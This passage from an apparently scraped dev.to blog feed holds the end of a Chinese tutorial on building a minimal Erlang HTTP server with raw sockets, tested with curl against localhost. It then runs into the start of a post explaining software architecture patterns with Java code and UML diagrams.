&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="ni"&gt;module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;simple_http_server&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="ni"&gt;export&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;

&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;ListenSocket&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="n"&gt;binary&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;reuseaddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;]),&lt;/span&gt;
    &lt;span class="nn"&gt;io&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"🚀 Server started at http://localhost:8080&lt;/span&gt;&lt;span class="si"&gt;~n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ListenSocket&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;

&lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ListenSocket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ListenSocket&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nb"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ListenSocket&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;

&lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nv"&gt;Request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;binary_to_list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="nn"&gt;io&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"📥 Incoming Request:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;~s~n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
            &lt;span class="nv"&gt;Response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;closed&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Reason&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nn"&gt;io&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"❌ Error: &lt;/span&gt;&lt;span class="si"&gt;~p~n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;Reason&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
            &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="nf"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nn"&gt;string&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;" &lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;_]&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"🌈 Welcome to Erlang REST API"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/ping"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;_]&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"pong 🏓"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/echo"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;_&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;_]&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"🔁 Echo endpoint reached (body parsing TBD)"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;_]&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nf"&gt;is_static&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt;
                &lt;span class="n"&gt;true&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[static] no content"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="n"&gt;false&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;not_found&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;_&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nf"&gt;not_found&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="nf"&gt;is_static&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="nn"&gt;lists&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Ext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nn"&gt;string&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;ends_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Ext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;".css"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".js"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".less"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".png"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;".jpg"&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;

&lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="nb"&gt;list_to_binary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"HTTP/1.1 200 OK&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="s"&gt;"Content-Type: text/plain; charset=utf-8&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="s"&gt;"Content-Length: "&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="nb"&gt;integer_to_list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="nv"&gt;Body&lt;/span&gt;
    &lt;span class="p"&gt;).&lt;/span&gt;

&lt;span class="nf"&gt;not_found&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="nb"&gt;list_to_binary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"HTTP/1.1 404 Not Found&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="s"&gt;"Content-Type: text/plain&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="s"&gt;"Content-Length: 13&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s"&gt;404 Not Found"&lt;/span&gt;
    &lt;span class="p"&gt;).&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  测试一下
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;erl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;然后&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Erlang/OTP 27 &lt;span class="o"&gt;[&lt;/span&gt;erts-15.2.6] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;64-bit] &lt;span class="o"&gt;[&lt;/span&gt;smp:8:8] &lt;span class="o"&gt;[&lt;/span&gt;ds:8:8:10] &lt;span class="o"&gt;[&lt;/span&gt;async-threads:1] &lt;span class="o"&gt;[&lt;/span&gt;jit] &lt;span class="o"&gt;[&lt;/span&gt;dtrace]

Eshell V15.2.6 &lt;span class="o"&gt;(&lt;/span&gt;press Ctrl+G to abort, &lt;span class="nb"&gt;type help&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

1&amp;gt; c&lt;span class="o"&gt;(&lt;/span&gt;simple_http_server&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;ok,simple_http_server&lt;span class="o"&gt;}&lt;/span&gt;
2&amp;gt; simple_http_server:start&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  运行一下
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://localhost:8080/                     &lt;span class="c"&gt;# Hello from Erlang REST API&lt;/span&gt;
curl http://localhost:8080/ping                 &lt;span class="c"&gt;# pong&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:8080/echo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  你到底做了什么？
&lt;/h4&gt;

&lt;p&gt;✅ 你构建了一个最小可运行的 HTTP Server（支持 GET/POST）&lt;br&gt;
✅ 没有用任何框架，全靠你自己解析请求、构造响应&lt;br&gt;
✅ 所有逻辑都是原生进程，不靠 gen_server，也没 OTP 套路&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;其实很多人觉得 Erlang 写 Web 太麻烦、过时了，但只要你理解其并发模型和分布式能力，这种原始的 socket 编程可以成为你探索更强大后端架构的基石&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>erlang</category>
      <category>hhtp</category>
      <category>api</category>
    </item>
    <item>
      <title>软件架构模式揭秘......小白也能懂的架构</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Fri, 13 Jun 2025 10:12:25 +0000</pubDate>
      <link>https://dev.to/ctkqiang/ruan-jian-jia-gou-mo-shi-jie-mi-xiao-bai-ye-neng-dong-de-jia-gou-5aki</link>
      <guid>https://dev.to/ctkqiang/ruan-jian-jia-gou-mo-shi-jie-mi-xiao-bai-ye-neng-dong-de-jia-gou-5aki</guid>
      <description>&lt;p&gt;在本文中，我将使用 Java 和 UML 对软件工程中常见的架构模式进行图文并茂的解释。Java 不仅是一门强大的编程语言，更是一种清晰表达软件设计理念的工具。UML 则让我能够以可视化的方式理解结构与交互。本博客面向所有想深入理解架构思想的开发者，不论你是否主攻 Java，都能从中获得清晰的认知。&lt;/p&gt;




&lt;h3&gt;
  
  
  为什么用 Java 和 UML？
&lt;/h3&gt;

&lt;p&gt;在架构学习中，语言并不是核心，但选择 Java 作为表达工具有如下优点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;静态类型强、结构清晰，便于表达层次与依赖。&lt;/li&gt;
&lt;li&gt;社区资料丰富、语法易于理解。&lt;/li&gt;
&lt;li&gt;与 UML 结合后，能直接在代码中体现组件之间的关系。
&amp;gt; UML 则是一种轻量级的 UML 语言，能快速表达出类关系、组件依赖、时序交互等关键架构视角。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  架构模式一览
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;分层架构（Layered Architecture） &lt;/li&gt;
&lt;li&gt;管道-过滤器架构（Pipe and Filter）&lt;/li&gt;
&lt;li&gt;事件驱动架构（Event-Driven Architecture） &lt;/li&gt;
&lt;li&gt;微内核架构（Microkernel Architecture）&lt;/li&gt;
&lt;li&gt;微服务架构（Microservices Architecture） &lt;/li&gt;
&lt;li&gt;客户端-服务器架构（Client-Server Architecture） &lt;/li&gt;
&lt;li&gt;模型-视图-控制器（MVC）&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  1.  分层架构（Layered Architecture）
&lt;/h3&gt;

&lt;p&gt;适用场景&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;企业应用系统（如 OA、ERP）&lt;/li&gt;
&lt;li&gt;关注清晰职责划分与高内聚低耦合&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;系统分为多个逻辑层次，每一层只和紧邻的一层进行通信。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq91yvpayi9tumsmzklsi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq91yvpayi9tumsmzklsi.png" alt="在这里插入图片描述" width="184" height="357"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;LoginController&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;AuthService&lt;/span&gt; &lt;span class="n"&gt;authService&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AuthService&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;authService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;authenticate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AuthService&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;UserRepository&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;UserRepository&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;authenticate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;findUser&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;passwordMatches&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  2. 管道-过滤器架构（Pipe and Filter）
&lt;/h3&gt;

&lt;p&gt;适用场景&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;图像处理、编译器、日志系统&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;数据流从一个过滤器流向下一个，每个过滤器对数据进行转换。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhq514g2po59lm54oyc3z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhq514g2po59lm54oyc3z.png" alt="在这里插入图片描述" width="402" height="1317"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;interface&lt;/span&gt; &lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
